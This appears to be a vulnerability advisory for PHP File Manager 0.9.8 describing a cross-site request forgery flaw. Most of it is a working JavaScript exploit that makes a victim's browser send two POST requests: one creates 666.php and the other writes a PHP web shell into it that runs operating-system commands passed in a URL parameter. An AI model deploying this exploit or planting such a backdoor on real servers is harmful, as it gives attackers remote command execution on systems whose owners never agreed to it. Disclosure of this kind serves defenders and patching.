    CSRF Remote Backdoor Shell Vulnerability
    
    
    
    
    Vulnerability Details:
    =======================================================================
    PHP File Manager is vulnerable to creation of arbitrary files on server
    via CSRF which we can use to create remote backdoor shell access if victim
    clicks our malicious linx or visits our malicious webpages.
    
    To create backdoor shell we will need to execute two POST requests
    1- to create PHP backdoor shell 666.php
    2- inject code and save to the backdoor we just created
    
    e.g.
    https://localhost/phpFileManager-0.9.8/666.php?cmd=[ OS command ]
    
    
    Exploit code(s):
    ===============
    
    <script>
    var
    scripto="frame=3&action=2&dir_dest=2&chmod_arg=&cmd_arg=666.php&current_dir=&selected_dir_list=&selected_file_list="
    blasphemer(scripto)
    
    var
    maliciouso="action=7&save_file=1&current_dir=.&filename=666.php&file_data='<?php+echo+'backdoor
    shell by hyp3rlinx......';+exec($_GET['cmd']);+?>"
    blasphemer(maliciouso)
    
    function blasphemer(payload){
     var xhr=new XMLHttpRequest()
     xhr.open('POST',"https://localhost/phpFileManager-0.9.8/index.php", true)
     xhr.setRequestHeader("content-type", "application/x-www-form-urlencoded")
     xhr.send(payload)
    }
    </script>
